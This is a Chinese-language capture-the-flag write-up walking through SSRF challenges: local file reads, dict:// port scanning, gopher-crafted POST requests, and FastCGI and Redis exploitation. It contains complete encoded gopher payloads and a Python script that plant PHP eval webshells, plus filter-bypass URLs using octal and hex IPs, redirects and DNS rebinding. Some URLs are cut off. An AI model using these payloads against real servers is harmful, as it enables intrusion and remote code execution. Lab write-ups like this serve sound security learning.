内网访问:
payload
直接内网访问127.0.0.1/flag.php
伪协议读取文件
可以去读读我的文章
直接file://协议读取本地文章
payload:
file:
注意:有些时候flag.php不在该路径
端口扫描
题目提示端口在8000-9000,因此直接扫就可以了。这里我们需要使用dict伪协议来扫描,因为dict协议可以用来探测开放的端口。
直接url=dict://127.0.0.1:80,然后对端口80进行暴力破解
发现端口,直接访问127.0.0.1:端口数
POST请求
访问127.0.0.1/flag.php 发现有东西, POST请求,但是需要127.0.0.1 访问302.php,看到代码
<?php
if(isset($_GET['url'])){
header("Location:$_GET['url']");
exit();
}
highlight_file(__FILE__);
我们的思路:访问flag.php,需要post请求,但是要127.0.0.1,这是我们想到了gopher协议,利用gopher发送127.0.0.1。 构造gopher:
POST /flag.php HTTP/1.1
Host: 127.0.0.1(需要127.0.0.1,我们就用)
Content-Type: application/x-www-form-urlencoded
Content-Lenth: 36(长度一定与下面的post参数一致。)
key=8a6d748f4f820709cd9e444991d49dd0
我们需要将POST请求进行一次urlencode
POST%20%2Fflag.php%20HTTP%2F1.1%0AHost%3A%20127.0.0.1%3A80%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0AContent-Length%3A%2036%0A%0Akey%3D8a6d748f4f820709cd9e444991d49dd0
因为在消息头的报文中,%0a需要换成%d%0a,所以我们继续改
POST%20%2Fflag.php%20HTTP%2F1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A%2036%0D%0A%0D%0Akey%3D8a6d748f4f820709cd9e444991d49dd0
然后因为curl本身要解码一次,所以还需要再次编码
POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application%25252Fx-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253D8a6d748f4f820709cd9e444991d49dd0
然后payload
url=gopher:
发现这道题跟302.php没有关,但是我也没出flag
上传文件
使用fiel://协议读取index.php和flag.php
flag.php
?php
error_reporting(0);
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just View From 127.0.0.1";
return;
}
if(isset($_FILES["file"]) && $_FILES["file"]["size"]
index.php
?php
error_reporting(0);
if (!isset($_REQUEST['url'])) {
header("Location: /?url=_");
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
这道题就是把k参数换成上传一个非空文件,继续用gopher协议构造POST请求 所谓构造一个POST请求,因为需要127.0.0.1,就是将抓取的包的Host变成127.0.0.1 payload:
url=gopher%3A
FastCGI协议
直接用gopherus工具打FastCGI 在gopherus界面
python gopherus.py --exploit fastcgi
/var/www/html/index.php //这里输入的是一个已知存在的php文件
echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4 | base64 -d > /var/www/html/shell.php
会得到一个payload,这里面是urlencode一次编码
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH134%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%86%04%00%3C%3Fphp%20system%28%27echo%20PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%20%7C%20base64%20-d%20%3E%20/var/www/html/shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
然后我们需要进行二次编码。
gopher%3A%2F%2F127.0.0.1%3A9000%2F_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2503CONTENT_LENGTH134%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2517SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2586%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%2520%257C%2520base64%2520-d%2520%253E%2520%2Fvar%2Fwww%2Fhtml%2Fshell.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
然后我们可以用蚁剑连接,找根目录,就可以得到flag
Redis协议
利用未授权访问攻击Redis的方法有很多
写webshell
写ssh公钥
写contrab计划任务反弹shell
主从复制
因为redis的默认端口是6379,我们使用dict协议来探测端口是否开放 得知已经开放了6379端口,我们写webshell构造redis命令
flushall
set 1 '<?php eval($_POST["whoami"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save
利用exp脚本生成gopher协议格式的payload
import urllib
protocol="gopher://"
ip="127.0.0.1"
port="6379"
shell="\n\n<?php eval($_POST[\"whoami\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
?
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print urllib.quote(payload)
然后得到payload
gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252435%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522whoami%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
蚁剑连接,查看根目录。
URLbybasss
payload:
url=http:
如何绕过指定url的限制?
极客大挑战-ssrf地址绕过
在URL中,因为parse_url和curl对host的解析不同,导致了可以通过@来绕过。
数字IP地址绕过
hacker! Ban '/127|172|@|\./'
过滤了127.点号,所以一些特殊的表示模式没法用
payload
url=http://0/flag.php
url=http://017700000001/flag.php,八进制,前面要加个0号
url=http://0x7F00000/falg.php,16进制,前面加个0x
但是二进制不行
302跳转
hacker! Ban Intranet IP
说明不能用127.0.0.1的ip,我们用我们自己的服务器(需要自己有个云服务器)
在服务器写个
<?php
header("Location:127.0.0.1/flag.php");
>?
然后访问url=http://xxx.x.x.x/flag.php
DNS重绑定
我们这儿可以利用A记录
payload1:
url=http:
A记录sudo.cc指向IP地址127.0.0.1。A记录就是域名指向ip地址,然后可以通过A记录转向访问
IP地址
payload2:
url=http:
参考文章:
fengq师傅:https:
https:
https:
|